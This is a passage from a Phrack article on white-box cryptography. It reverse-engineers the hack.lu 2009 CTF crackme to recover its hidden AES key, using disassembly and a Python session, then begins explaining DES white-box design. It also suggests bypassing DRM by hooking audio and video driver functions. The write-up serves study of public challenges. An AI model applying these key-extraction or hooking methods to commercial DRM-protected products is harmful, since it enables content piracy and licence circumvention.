|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by SysK ‑ whiteb0x [o] phrack o org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑

1 ‑ Introduction

2 ‑ What is a WB implementation?

3 ‑ The things you should know about white‑boxes

3.1 ‑ Products available

3.2 ‑ Academic state of the art

4 ‑ Handling the first case: hack.lu's challenge

4.1 ‑ The discovery step

4.2 ‑ The key recovery

4.3 ‑ Random thoughts

5 ‑ White‑boxing the DES

5.1 ‑ The DES algorithm

5.2 ‑ An overview of DES WB primitives

6 ‑ Breaking the second case: Wyseur's challenge

6.1 ‑ Efficient reverse engineering of the binary

6.2 ‑ The discovery step

6.3 ‑ Recovering the first subkey

6.4 ‑ Recovering the original key

7 ‑ Conclusion

8 ‑ Gr33tz

9 ‑ References

10 ‑ Appendix: Source code

‑‑‑‑‑‑

‑‑[ 1 ‑ Introduction

This paper is about WB (white‑box) cryptography. You may not have heard too much about it but if you're focused on reverse engineering and more precisely on software protections, then it may be of interest for you.

Usually The common way to learn something valuable in cryptography is either to read academic papers or cryptography books (when they're written by true cryptographers). However as cryptography is about maths, it can sometimes seem too theoretical for the average reverser/hacker. I'm willing to take a much more practical approach using a combination of both reverse engineering and elementary maths.

Obviously such a paper is not written for cryptographers but rather for hackers or crackers unfamiliar with the concept of white‑box and willing to learn about it. Considering the quasi non existence of public implementations to play with as well as the 'relatively' small amount of valuable information on this subject, I hope this will be of interest. Or at the very least that it will be a pleasant read... O:‑)

‑‑[ 2 ‑ What is a WB implementation?

So let's begin with a short explanation. A white‑box is a particular implementation of a cryptographic primitive designed to resist to the examination of its internals. Consider the case of a binary embedding (and using) a symmetric primitive (such as AES for example). With the common implementations, the AES key will always leak in memory at some point of the execution of the program. This is the classic case of a reverser using a debugger. No matter how hard it may be (anti‑debug tricks, obfuscation of the key, etc.), he will always find a way to intercept the key. White‑box cryptography techniques were designed to solve this problematic which is very common, especially in the field of DRM (Digital Rights Management).

So how does it work? The main concept that you should remember is that the key is never explicit. Or you could say that it's mathematically transformed or 'fused' with the encryption routine. So for one key there is one particular obfuscated primitive which is strictly equivalent to the original one*. For a same input, both implementations will produce an identical output. The mathematical transformation is designed in such a way that an attacker with a debugger will not be able to deduce the key from the internal state ... at least in a perfect world :‑)

*: It's not 'exactly' true as we will see later with external encodings.

Confused? Then take a look at this tiny example:

‑> Function1: for x in [0:3] f(x) = (k+x) % 4

‑> Function2: for x in [0:3] g(x) = S[x] with S = [3,0,1,2]

If k==3, then the two functions f() and g() are equivalent. However the first one explicitly uses the key 'k' whereas the second one doesn't, being implemented as a lookup table (LUT). You could say that g() is a white‑box implementation of f() (albeit a very weak one) for the key 3. While this example is easy to understand, you will soon discover that things are more complicated with the obfuscation of a whole real life crypto primitive.

‑‑[ 3 ‑ The things you should know about white‑boxes

<<<<<<<<<<<<<<<<<< DISCLAIMER <<<<<<<<<<<<<<<<<<

> I will voluntarily not enter into too much < > details. As I said, the paper is based on a < > practical approach so let's avoid the maths <

> for the moment. <

>>>>>>>>>>>>>>>>>>>>>>>>>>>

‑‑‑‑[ 3.1 Products available

WB cryptography is essentially implemented in commercial security products by a relatively small number of companies (Cloakware ‑acquired by Irdeto‑, Whitecryption, Arxan, Syncrosoft, etc.). Usually they provide a secure API which is then integrated into other security primitives, often for DRM purposes. Amongst other things, they design WB primitives for symmetric encryption (DES, AES) but also MAC (HMAC, CMAC) and asymmetric primitives (ECC, RSA, DSA).

How often do we come across WB in the wild? More than you could think of! For example you can see in [R10] that Irdeto has many famous customers including TI, Sony, Adobe and NetFLIX. WB cryptography will most likely become more and more present in software protections.

As far as I can tell, there are unfortunately only 2 public (non commercial) examples of WB implementations, both with undisclosed generators:

‑ The first historical one is a binary available on Brecht Wyseur's website [R04] and is a WB DES implementation. Brecht challenges people to find the key:

"If you like, try to extract the secret key, using all information you can find from this implementation (besides brute‑force black‑box attacks of course)."

Keep in mind that this is a challenge, not some production code.

‑ The second one less likely to be known is a challenge proposed by Jb for the 2009 edition of hack.lu [R02]. This one is a simplistic AES WB but was never labeled officially as such. Part of the challenge is indeed to find out (oops!).

The cryptanalysis involved is obviously far below the academic state of the art but it's nonetheless an interesting one and a first step for who wants to be serious and aims at defeating more robust implementations.

We'll study both starting with Jb's binary and see how the solution can be found in each case.

,‑‑‑.

,.'‑. \

( ( ,'"""""‑.

`,X `.

/` ` `.

( , ,

| ,‑‑‑.,'o `.

| / o \ )

\ ,. ( ._

\| \ \____,'

'`'\ \ _,_

\ ,‑‑ ,‑'

( C ,' \

`‑‑' .'

| | O |

__| \

/ `L `._ _,' ' `.

/ `‑‑.._ `',.

`‑. /\ | `

_/ `‑._ / \ |‑‑

' `‑. `' \/\`

\ ‑hrr‑ \ `. | |

‑‑‑‑[ 3.2 Academic state of the art

AFAIK academic publications are limited to symmetric encryption and especially to DES and AES (though SPN case is somewhat extended in [R08]). Explaining the history of the design and the cryptanalysis techniques which were developed would be complicated and is already explained with great details in the thesis of Brecht Wyseur [R04].

The main question is to know if there exists a secure WB design and if you consider the current state of the art in cryptography, well... there isn't! There is currently no implementation proposal not broken by design. And in this case, broken means a key recovery in a matter of seconds in the worst case. Yes, _that_ broken!

However, real‑life white‑box cryptography may be different because:

‑ As explained before, proprietary implementations of algorithms not mentioned in any paper (MAC algorithms, asymmetric ones) exist. This proves that people were smart enough to design new implementations. On the other hand, without any formal analysis of these implementations, nothing can be said regarding their effective security.

‑ Cloakware products were at least partially designed/written by the cryptographers who designed the first white‑box [R7]. On one hand you may suspect that their product is broken by design. Alternatively it can be assumed that it is at least immune against current cryptanalysis techniques. Little can be said about other protections (whitecryption, Arxan, Syncrosoft) but we could speculate that it's not of the same caliber.

So are WB protections hard to break in practice? Who knows? But remember that protecting the key is one thing while protecting a content is something different. So if you ever audit a white‑box solution, before trying to retrieve the key, see if you can intercept the plaintexts. There are lots of possible attacks, potentially bypassing the WB protections [R06].

Remark: Obviously in the case of DRM (if no hardware protection is involved), you will always find a way to intercept unencrypted data. This is because at some point the player will have to send audio/video streams to the sound/video card drivers and you may want to hook some of their functions to recover the media. This is however a practice to forget if the media requires the synchronization of several streams (i.e. movies with both audio and video).

Now that said, let's begin with the first challenge :)

‑‑[ 4 ‑ Handling the first case: hack.lu's challenge

I have to thank Jb for this binary as he was the one who suggested me to solve it a few days ago*. Unfortunately my solution is biased as I knew from the very beginning that it was an AES white‑box. I may have taken a different approach to solve it if I hadn't. This is however a good enough example to introduce WB protections.

*: Phrack being usually late "a few days ago" probably means "a few weeks** ago"

**: Phrack being _indeed_ late "a few weeks ago" is now "a few months ago" ;>

‑‑‑‑[ 4.1 ‑ The discovery step

Since the challenge is about breaking an AES white‑box, it means that we may need to perform several tasks:

‑ finding out if the WB is an AES or an AES^‑1 and the associated key length: 16 (AES‑128), 24 (AES‑192), 32 (AES‑256)? We want to discover exactly *what* was white‑boxed.

‑ reversing every cryptographic functions involved and discovering how they are related to the original AES functions. This is about understanding *how* the implementation was white‑boxed.

‑ finding a way to recover the original key.

I won't describe the AES as it's not necessary to understand this part. The necessary details will be provided a bit later. First of all, let's see how the serial is retrieved. We'll start by a quick reverse engineering of the sub_401320() function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mov eax, [esp+38h+hDlg] push 21h ; cchMax lea ecx, [esp+3Ch+String] push ecx ; lpString push 3ECh ; nIDDlgItem push eax ; hDlg call ds:GetDlgItemTextA cmp eax, 20h ; is length == 32?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Without too much surprise, GetDlgItemText() is called to retrieve an alpha‑numeric string. The comparison in the last line implies a length of 32 bytes in its ASCII representation (not including the null byte) hence a 16 bytes serial. Let's continue:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

cmp eax, 20h

jz short good_serial ; if len is ok then start the

conversion

bad_serial:

xor eax, eax

[...]

retn ; return 0

good_serial:

push ebx

push esi

xor esi, esi ; i=0

nop

build_data_buffer:

movzx edx, [esp+esi*2+40h+String] push edx

call sub_4012F0 ; get least significant nibble mov ebx, eax

movzx eax, [esp+esi*2+44h+var_27] push eax

shl bl, 4

call sub_4012F0 ; get most significant nibble or bl, al ; bl is now a converted byte mov byte ptr [esp+esi+48h+input_converted], bl

; input_converted[i] = bl

inc esi ; i++

add esp, 8

cmp esi, 10h

jl short build_data_buffer

lea ecx, [esp+40h+input_converted] push ecx

mov edx, ecx

push edx

call sub_401250 ; white‑box wrapper add esp, 8

pop esi

mov eax, 10h

xor ecx, ecx

pop ebx

; Compare the resulting buffer byte after byte

compare_buffers:

mov edx, [esp+ecx+38h+input_converted] cmp edx, dword ptr ds:aHack_lu2009Ctf[ecx]

; "hack.lu‑2009‑ctf"

jnz short bad_serial

sub eax, 4

add ecx, 4

cmp eax, 4

jnb short compare_buffers [...]

retn

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The alphanumeric string is then converted byte after byte using the sub_4012F0() function in the corresponding plaintext (or ciphertext) block for cryptographic manipulations. The function sub_401250() is then called taking it as a parameter. When the function returns, the buffer is then compared to the "hack.lu‑2009‑ctf" string (16 bytes). If both are equal, the serial is valid (the function returns 1).

Let's see sub_401250() in more detail:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sub_401250 proc near ; WrapperWhiteBox [...]

mov eax, [esp+14h+arg_0] push esi

mov esi, [esp+18h+arg_4] xor ecx, ecx

add eax, 2

lea esp, [esp+0]

permutation1:

; First step is a transposition (special permutation)

movzx edx, byte ptr [eax‑2] mov [esp+ecx+18h+var_14], dl movzx edx, byte ptr [eax‑1] mov [esp+ecx+18h+var_10], dl movzx edx, byte ptr [eax] mov [esp+ecx+18h+var_C], dl movzx edx, byte ptr [eax+1] mov [esp+ecx+18h+var_8], dl inc ecx

add eax, 4

cmp ecx, 4

jl short permutation1

; Second step is calling the white‑box

lea eax, [esp+18h+var_14] push eax

call sub_401050 ; call WhiteBox [...]

permutation2:

; Third step is also a transposition ; Bytes' position are restored

movzx edx, [esp+ecx+14h+var_14] mov [eax‑2], dl

movzx edx, [esp+ecx+14h+var_10] mov [eax‑1], dl

movzx edx, [esp+ecx+14h+var_C] mov [eax], dl

movzx edx, [esp+ecx+14h+var_8] mov [eax+1], dl

inc ecx

add eax, 4

cmp ecx, 4

jl short permutation2 [...]

retn

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At first sight, sub_401250() is composed of three elements:

‑ A first bunch of instructions operating on the buffer which is no more than a (4x4) matrix transposition operating on bytes.

For example:

A B C D A E I M

E F G H becomes B F J N

I J K L C G K O

M N O P D H L P

This is a common step to prepare the plaintext/ciphertext block into the so‑called "state" as the AES is operating on 4x4 matrix.

‑ This function is then calling sub_401050() which is composed of elementary operations such as XOR, rotations and substitutions.

‑ A second transposition. One important thing to know about the transposition is that the function is its own inverse. The former bytes' positions are thus restored.

sub_401050() is the WB. Whether it's an AES or an AES^‑1 function and its keylength has yet to be determined. The serial acts as a plaintext or a ciphertext which is (de,en)crypted using a key that we want to retrieve. Since the output buffer is compared with an English sentence, it seems fair to assume that the function is an AES^‑1.

Reverse engineering of sub_401050()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Detailing the whole reverse engineering steps is both boring and meaningless as it doesn't require special skills. It's indeed pretty straightforward. The resulting pseudo C code can be written as such:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ First version ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void sub_401050(char *arg0)

{

int round,i;

// 9 first rounds

for(round=0; round<9; round++)

{

// step‑1(round)

for(i=0; i<16; i++)

arg0[i] = (char) 0x408138[ i + (arg0[i] + round*0x100)*16 ];

// step‑2

sub_401020(arg0);

// step‑3

for(i=0; i<4; i++)

{

char cl,dl, bl, var_1A;

cl = byte_414000[ arg0[0+i]*4 ];

cl ^= byte_414400[ arg0[4+i]*4 ];

cl ^= byte_414800[ arg0[8+i]*4 ];

cl ^= byte_414C00[ arg0[12+i]*4 ];

dl = byte_414000[ 1 + arg0[0+i]*4 ];

dl ^= byte_414400[ 1 + arg0[4+i]*4 ];

dl ^= byte_414800[ 1 + arg0[8+i]*4 ];

dl ^= byte_414C00[ 1 + arg0[12+i]*4 ];

bl = byte_414000[ 2 + arg0[0+i]*4 ];

bl ^= byte_414400[ 2 + arg0[4+i]*4 ];

bl ^= byte_414800[ 2 + arg0[8+i]*4 ];

bl ^= byte_414C00[ 2 + arg0[12+i]*4 ];

var_1A = bl;

bl = byte_414000[ 3 + arg0[0+i]*4 ];

bl ^= byte_414400[ 3 + arg0[4+i]*4 ];

bl ^= byte_414800[ 3 + arg0[8+i]*4 ];

bl ^= byte_414C00[ 3 + arg0[12+i]*4 ];

arg0[0+i] = cl;

arg0[4+i] = dl;

arg0[8+i] = var_1A;

arg0[12+i] = bl;

}

}

// step‑4

for(i=0; i<16; i++)

arg0[i] = (char) 0x411138 [ i + arg0[i] * 16 ]

// step‑5

sub_401020(arg0);

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ First version ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It seems that we have a 10 (9 + 1 special) rounds which probably means an AES‑128 or an AES‑128^‑1 (hence a 16 bytes keylength as both are related).

Remark: Something very important is that we will try to solve this problem using several assumptions or hypotheses. For example there is no evident proof that the number of rounds is 10. It _seems_ to be 10 but until the functions (and especially the tables) involved are not analyzed, we should always keep in mind that we may be wrong with the guess and that some evil trick could have been used to fool us.

Now we have the big picture, let's refine it a bit. For that, we will analyze:

‑ The tables at addresses 0x408138 (step‑1) and 0x411138 (step‑4) ‑ The round independent function sub_401020 (step‑2, step‑5) ‑ step‑3 and the 16 arrays byte_414x0y with:

‑ x in {0,4,9,C}

‑ y in {0,1,2,3}

The tables are quite easy to analyze. A short look at them show that there is one substitution table per character per round. Each substitution seems to be a "random" bijection. Additionally, 0x408138 + 16*256*9 = 0x411138 (which is the address of the last round's table).

The function sub_401020() is a mere wrapper of function sub_401000():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void sub_401020(arg0)

{

int i;

for(i=0; i<4; i++)

sub_401000(arg0, 4*i, i);

}

// arg4 parameter is useless but who cares?

void sub_401000(arg0, arg4, arg8)

{

if(arg8 != 0)

{

(int) tmp = ((int)arg0[4*arg8] << (8*arg8)) & 0xFFFFFFFF; (int) arg0[4*arg8] = tmp | ((int)arg0[4*arg8] >> (32‑(8*arg8))); }

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is clearly the ShiftRows() elementary function of the AES. For example:

59 49 90 3F 59 49 90 3F [ <<< 0 ] 30 A7 02 8C becomes A7 02 8C 30 [ <<< 1 ] 0F A5 07 22 07 22 0F A5 [ <<< 2 ] F9 A8 07 DD DD F9 A8 07 [ <<< 3 ]

here '<<<' is a cyclic shift

ShiftRows() is used in the encryption function while the decryption function uses its inverse. Unless there is a trap to fool us, this is a serious hint that our former assumption was wrong and that the WB is an AES, not an AES^‑1.

Now regarding step‑3 let's begin by looking at the tables. They all hold bijections but clearly neither random nor distinct ones. Let's look for example at the byte_414400 table:

byte_414400 : 0 3 6 5 C F A 9 ...

(The elements of this table are located at 0x414400, 0x414404, 0x41440C, etc. This is because of the *4 that you can see in the C code. This rule also applied to the 15 other tables.)

If you ever studied/implemented the AES then you must know that its structure is algebraic. The MixColumns in particular is an operation multiplying each columns of the state by a particular 4x4 matrix. The coefficients of such mathematical objects are _not_ integers but rather elements of GF(2^8) whose representation is fixed by a particular binary polynomial.

Now if you don't have a clue about what I'm saying let's just say that the multiplication of said AES coefficients is not a simple integer multiplication. Since the calculus in itself would be highly inefficient most implementations use special tables holding the precomputed results. AES requires to know how to multiply by 01, 02, and 03 in GF(2^8). In particular byte_414400 is a table used to compute b = 3*a in such field (a is the index of the table and b is the value stored at this index).

Now let's look at the tables. In each case it was easy to see that they were holding a precomputed multiplication by a given coefficient:

byte_414000 : 0 2 4 6 8 A C E ... // Coef = 2

byte_414400 : 0 3 6 5 C F A 9 ... // Coef = 3

byte_414800 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414C00 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414001 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414401 : 0 2 4 6 8 A C E ... // Coef = 2

byte_414801 : 0 3 6 5 C F A 9 ... // Coef = 3

byte_414C01 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414002 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414402 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414802 : 0 2 4 6 8 A C E ... // Coef = 2

byte_414C02 : 0 3 6 5 C F A 9 ... // Coef = 3

byte_414003 : 0 3 6 5 C F A 9 ... // Coef = 3

byte_414403 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414803 : 0 1 2 3 4 5 6 7 ... // Coef = 1

byte_414C03 : 0 2 4 6 8 A C E ... // Coef = 2

As a result, step‑3 can be written as:

[ arg0(0,i) [ 02 03 01 01 [ arg0(0,i) arg0(4,i) = 01 02 03 01 x arg0(4,i) arg0(8,i) 01 01 02 03 arg0(8,i) arg0(c,i) ] 03 01 01 02 ] arg0(c,i) ]

And this is exactly the MixColumns of the AES! Everything taken into account gives this new version of sub_401250():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Second version ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void sub_401050(char *arg0)

{

int round,i;

// 9 first rounds

for(round=0; round<9; round++)

{

// step‑1(round)

for(i=0; i<16; i++)

arg0[i] = (char) 0x408138[ i + (arg0[i] + round*0x100)*16 ];

// step‑2

ShiftRows(arg0);

// step‑3

MixColumns(arg0);

}

// Last round

// step‑4

for(i=0; i<16; i++)

arg0[i] = (char) 0x411138 [ i + arg0[i]*16 ];

// step‑5

ShiftRows(arg0);

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Second version ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This confirms the assumption that the WB is an AES as AES^‑1 uses the invert function of MixColumns which makes use of a different set of coefficients (matrix inversion). As you can see the key material is not explicit in the code, somehow hidden in the tables used in step‑1. Kinda normal for a WB ;)

‑‑‑‑[ 4.2 ‑ The key recovery

The general algorithm (not including the key schedule which generates K) of AES‑128 encryption is the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ROUNDS=10

def AES_128_Encrypt(in):

out = in

AddRoundKey(out, K[0])

for r in xrange(ROUNDS‑1):

SubBytes(out)

ShiftRows(out)

MixColumns(out)

AddRoundKey(out,K[r])

SubBytes(out)

ShiftRows(out)

AddRoundKey(out, K[10])

return out

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Where K[r] is the subkey (16 bytes) used in round r. From now on, 'o' is the symbol for the composition of functions, this allows us to write:

SubBytes o AddRoundKey(K[r],IN) = step‑1(IN,r) for r in [0..9]

Exploiting the first round, this immediately gives a system of equations (with S being located at 0x408138):

SubBytes(K[0][i] ^ arg0[i]) = S[ i + arg0[i]*16 ] for i in [0..15]

The equations hold for any arg0[i] and in particular for arg0[i] = 0. The resulting simplified system is thus:

SubByte(K[0][i]) = S[i] for i in [0..15] K[0][i] = SubByte()^‑1 o S[i] for i in [0..15]

Let's try it on the rub^Wpython console:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>>> sbox2 = inv_bij(sbox); # We compute SubBytes^‑1

>>> S = [0xFA, 0xD8, 0x88, 0x91, 0xF1, 0x93, 0x3B, 0x39, 0xAE, 0x69, 0xFF, 0xCB, 0xAB, 0xCD, 0xCF, 0xF7]; # dumped @ 0x0408138 >>> for i in xrange(16):

... S2[i] = sbox2[S2[i]];

...

>>> S2;

[20, 45, 151, 172, 43, 34, 73, 91, 190, 228, 125, 89, 14, 128, 95, 38]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

But remember that a transposition is necessary to retrieve the subkey!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>>> P = [0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15] #I'm lazy :) >>> S4 = []

>>> for i in xrange(16):

... S4.insert(i,S2[P[i]])

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now S4 holds the subkey K[0]. An interesting property of the AES key schedule is that the subkey K[0] is equal to the key before derivation. This is why our priority was to exploit the first round.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>>> s = 'hack.lu‑2009‑ctf'

>>> key = ''.join(map(lambda x: chr(x), S4))

>>> key

'\x14+\xbe\x0e‑"\xe4\x80\x97I}_\xac[Y&'

>>> keyObj=AES.new(key)

>>> encPwd=keyObj.decrypt(s)

>>> encPwd.encode('hex').upper() '192EF9E61164BD289F773E6C9101B89C'

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And the solution is the same as baboon's one [R03]. Of course there were many other ways to proceed but it's useless to even consider them due to the very weak nature of this 'WB'.

‑‑‑‑[ 4.3 ‑ Random thoughts

Jb designed this challenge so that it could be solved in the 2‑days context of the hack.lu CTF. It's very likely that any reverser familiar with the AES would be able to deal with it rather easily and so did baboon at that time when he came up with a smart and quick solution [R03]. If Jb had used the implementation described in [R07] then it would have been a whole other game though still breakable [R05].

That being said, this implementation (which is based on what is called partial evaluation) may only be a toy cipher but it's perfect to introduce more advanced concepts. Indeed several security measures (amongst others) were voluntary missing:

‑ ShiftRows() and MixColumns() were not modified. A strong implementation would have transformed them. Additionally SubBytes() could have been transformed in a less gentle manner to mitigate trivial attacks.

‑ There is a direct correspondence between an obfuscated function and it's unprotected "normal" counterpart. Inputs and outputs of such functions are synchronized or you could say that intermediate states can be observed. "Internal encoding" removes this property.

‑ The first and last rounds should have a special protection. This is because the input (respectively the output) of the first (respectively the last) round can be synchronized with the normal implementation. "External encoding" is used to prevent this but as a side effect alter the compatibility with the original encryption.

‑ etc.

Remark: If you ever come across a WB implementation, let me give you 2 nice tricks to see in the blink of an eye if it's potentially weak or not:

‑ Look at the size of the implementation. Remember that the size of an obfuscated primitive is deeply related to the number and size of the lookup tables, the weight of the opcodes being generally negligible. In this case, the binary was 85 kB whereas the state of the art requires at least 770 kB. It was thus obvious that several obfuscation layers were missing.

‑ The fully obfuscated version of the algorithms described in [R07] only uses XOR and substitutions (lookup tables) as MixColumns and ShiftRows are both transformed to make it possible. One may however point out that the statement holds with T‑tables based implementations. It's true but such implementations use well known tables so it's easy to fingerprint them.

Remember that real‑life white‑boxes (i.e. used in DRM, embedded devices, etc.) are likely to be close to the state of the art (assuming they are designed by crypto professionals and not by the average engineer ;)). Conversely, they may also face practical problematics (size, speed) which have an impact on their security. This is especially true with embedded devices.

‑‑[ 5 ‑ White‑boxing the DES

If you're still reading (hi there!) then it probably means that you already have at least a basic knowledge of cryptography. So you know that DES should not be used because of its short keylength (56 bits), right? Then why the hell should we be focused on it? Well because:

‑ There are only 2 public white‑box design families: AES and DES ‑ If you can white‑box DES, then you can probably white‑box 3DES as well (which is strong)

‑ I couldn't find a non commercial sophisticated enough AES WB to play with and I don't want to be sued by M$, Adobe, etc. :D

Remark: While AES WB cryptanalysis are essentially algebraic, DES related ones are statistical as you will soon find out.

‑‑‑‑[ 5.1 ‑ The DES algorithm

DES is a so called Feistel cipher [R01] with a block size of 64 bits and 16 rounds (r). First a permutation (IP) is applied to the input then in each round a round‑function is applied which splits its input in two 32 bits buffers L (Left) and R (Right) and applies the following equations system:

L(r+1) = R(r)

R(r+1) = L(r) [+] f(R(r),K(r))

With:

0 <= r < 16

[+] being the XOR operation

The round function is described by the following scheme:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ DES round function ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

********** **********

* L(r) * * R(r) *

********** **********

| |

.‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| | v .‑‑‑‑‑‑‑‑‑‑‑‑

| | .‑‑‑‑‑‑‑‑‑‑‑‑‑. Linear transformation \

| | \ E‑Box / ( 32b ‑> 48b )

| | '‑‑‑‑‑‑‑‑‑'

| | |

| | v .‑‑‑‑‑‑‑

| | ..... **********XOR operand \

| | . + .<‑‑‑‑‑‑ * K(r) * ( 2x48b ‑> 48b )

| | ..... **********

| | /\

| | / \

| | v v .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | .‑‑‑‑‑‑. .‑‑‑‑‑‑. Non linear transformation \

| | \ S1 / ... \ S8 / ( using SBox )

| | '‑‑' '‑‑' 8x6b ‑> 8x4b /

| | \ /

| | \ /

| | v v .‑‑‑‑‑‑‑‑‑‑‑‑‑

| | .‑‑‑‑‑‑‑‑. Linear transformation \

| | | P‑Box | ( 32b ‑> 32b )

| | '‑‑‑‑‑‑‑‑'

| | |

| | ..v.. .‑‑‑‑‑‑‑

| '‑‑‑‑‑‑‑‑‑>. + . XOR operand \

| ..... 2x32b ‑> 32b )

| |

v v '‑‑‑‑‑‑‑

********** **********

* L(r+1) * * R(r+1) *

********** **********

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the 16 rounds are completed, the IP^‑1() function is applied and the result is called the ciphertext.

While SBox and XOR are self explanatory, let me give you a few more details about the linear transformations (E‑Box and P‑Box).

The E‑Box

‑‑‑‑‑‑‑

The E‑Box is used to extend a 32 bits state into a 48b one so that each bit can be combined with a round‑key bit using a XOR. To transform 32 bits into 48 bits, 16 out of the 32 bits are duplicated. This is performed using the following table:

32, 1, 2, 3, 4, 5, 4, 5, 6, 7, 8, 9, 8, 9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17, 16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25, 24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32, 1

For example, the first bit of output will the last bit of input (32) and the second bit of output will be the first bit of input (1). In this particular case the bit positions are written from 1 to 32. As you may have noticed, the 16 bits from columns 3 and 4 are not duplicated. They are called the middle bits, we will see later why they are important.

The P‑Box

‑‑‑‑‑‑‑

The P‑Box is a bit permutation which means that every bit of input will have a new position in the output. Such a transformation is linear and can be represented by a bit matrix. When combined with a XOR operation with a constant, this is what we call an affine transformation (AT).

‑‑‑‑[ 5.2 ‑ An overview of DES WB primitives

The first WB DES implementation was presented in [R09]. Explaining how and why DES white‑box were designed is not the most simple of the task especially with an ASCII / 75 columns constraint ;> I'll try to focus on the main mechanisms so that you can get a global picture with the next section. At some point you may however feel lost. In that case, please read the excellent [R15] <3

The protection of I/O

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The reverser is able to intercept every step of the algorithm as well as to examine all the memory. This gives him a huge advantage as he can easily trace all inputs and outputs of elementary functions of the WB.

In the case of DES, this is even easier thanks to the very nature of Feistel network. For example an attacker would easily locate the output of the P‑Box in round (r) because it is combined with part of the input: L(r). To mitigate this, several transformations are performed:

a) All elementary operations of the white‑box are performed on 96 bits states. Let's try to understand why.

Initially a native DES round begins which the 64 bits state L(r) || R(r). R(r) is then extended using the E‑box to generate a 8x6 = 48 bits buffer and at the same time, L(r) and R(r) are still part of the internal state because they are still contributing to the round's operations:

************** *****

* L(r) * * R(r) *

************** *****

